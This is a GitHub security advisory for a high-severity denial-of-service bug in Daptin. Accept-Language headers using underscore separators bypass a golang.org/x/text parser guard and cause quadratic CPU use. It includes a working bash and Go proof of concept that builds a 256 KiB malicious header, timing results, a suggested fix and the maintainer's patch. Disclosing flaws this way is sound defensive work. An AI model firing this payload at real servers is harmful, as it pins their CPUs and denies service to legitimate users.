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Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware

High severity GitHub Reviewed Published Jun 25, 2026 in daptin/daptin • Updated Oct 29, 2026

Package

gomod github.com/daptin/daptin (Go)

Affected versions

<= 0.12.15

Patched versions

None

Description

Summary

Daptin's LanguageMiddleware (registered as a global gin middleware) calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.

Affected versions

github.com/daptin/daptin v0.12.15 and (per code inspection of master) all earlier 0.12.x versions that wire LanguageMiddleware on the global gin router without imposing their own size limit on Accept-Language. Verified on:

  • the official release binary daptin-linux-amd64 v0.12.15 built into a Docker image from the project's own Dockerfile (E2E below)
  • master at commit b021ac4ae1f72b7401e851fcf883bc970303c794 by reading server/language.go (the middleware is unchanged)

Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated /api style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.

Vulnerable code

server/language.go (blob SHA b021ac4ae1f72b7401e851fcf883bc970303c794):

func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
    pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage)
    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}

func GetLanguagePreference(header string, defaultLanguage string) []string {
    preferredLanguage := header

    if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" {
        preferredLanguage = defaultLanguage
    }

    languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)
    resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)
    pref := make([]string, 0)
    prefMap := make(map[string]bool)

    if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {
        // single tag matches default — skip
    } else {
        for _, tag := range languageTags {
            base, conf := tag.Base()
            if conf == 0 {
                continue
            }
            if prefMap[base.String()] == true {
                continue
            }
            prefMap[base.String()] = true
            pref = append(pref, base.String())
        }
    }
    return pref
}

c.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

The resource.CheckErr call on the error path also formats the entire input string into a log line (Failed to parse Accept-Language header [%v]), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 256 KiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

Every HTTP request that hits the Daptin API server passes through LanguageMiddleware (registered as a global gin middleware). The middleware sequence is:

  1. The request enters LanguageMiddlewareFunc.
  2. c.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. GetLanguagePreference(header, defaultLanguage) is called.
  4. The function passes the unfiltered header into language.ParseAcceptLanguage(preferredLanguage).

No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at / and the public API root at /api.

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:

# Build daptin image (uses prebuilt linux/amd64 release binary)
cd daptin
curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64
chmod +x daptin-linux-amd64
docker build --platform linux/amd64 -t daptin-poc:v0.12.15 .

# Start it
docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15
sleep 8  # wait for sqlite migrations + Olric ring

# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling
# because daptin's per-request cost saturates well below 1 MiB)
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18888/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against daptin-linux-amd64 v0.12.15)

A Go driver poc.go boots the container, sends a 256 KiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18888/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 120 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024))
    send("attack ('_' x 256KiB)",     buildPayload("_", 256*1024))
    send("attack repeat 2",            buildPayload("_", 256*1024))
    send("attack repeat 3",            buildPayload("_", 256*1024))
}

Captured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
daptin/daptin v0.12.15 LanguageMiddleware at
server/language.go.

Target: http://127.0.0.1:18888/   payload=262144 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=200  t=19.968ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=200  t=25.924208ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=200  t=28.398333ms
  guard-fires control ('-' x 256KiB)           header=262142 B  '_'=0  '-'=26214  status=200  t=105.506458ms
  attack ('_' x 256KiB)                        header=262142 B  '_'=26214  '-'=0  status=200  t=26.679448875s
  attack repeat 2                              header=262142 B  '_'=26214  '-'=0  status=200  t=18.012964208s
  attack repeat 3                              header=262142 B  '_'=26214  '-'=0  status=200  t=8.868606042s

A separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB.

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 26 - 28 ms
256 KiB - separators (CVE-2022-32149 guard fires) 256 KiB 106 ms
256 KiB _ separators (guard bypassed) 256 KiB 9 - 27 s
1 MiB _ separators (guard bypassed) 1 MiB > 120 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB - payload returns in 106 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and >1000x on a 1 MiB payload.

The amplification is higher than other consumers of ParseAcceptLanguage because Daptin formats the entire input into a log line via resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage) when parsing fails, and runs additional bookkeeping in GetLanguagePreference (a prefMap deduplication loop over the resulting tag slice).

Impact

  • One unauthenticated client can pin one CPU core for ~9-27 seconds per 256 KiB request, or for at least 120 seconds per 1 MiB request.
  • A single attacker on a 1 Mbit/s uplink can sustain ~1 attack request every 30 seconds, pinning one server core continuously with one TCP connection.
  • A small number of concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Daptin instance indefinitely.
  • The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.

Suggested fix

Apply the size / character-class filter inside LanguageMiddleware (and inside GetLanguagePreference for defence in depth) before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// server/language.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
    header := c.GetHeader("Accept-Language")
    if strings.Count(header, "-")+strings.Count(header, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        header = ""
    }
    pref := GetLanguagePreference(header, lm.defaultLanguage)
    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.

Fix PR

https://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1

Maintainer fix status

Fixed on master in commit 2d709509 Harden Accept-Language parsing.

The fix caps combined - and _ separators in Accept-Language before calling language.ParseAcceptLanguage, both in LanguageMiddlewareFunc and in GetLanguagePreference for defence in depth. Regression coverage was added in server/language_test.go for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting.

Verification run:

go test ./server -count=1

Result: passed.

References

@artpar artpar published to daptin/daptin Jun 25, 2026
Published to the GitHub Advisory Database Oct 29, 2026
Reviewed Oct 29, 2026
Last updated Oct 29, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(36th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

CVE ID

CVE-2026-62160

GHSA ID

GHSA-rhj7-vh3v-mcq6

Source code

Credits

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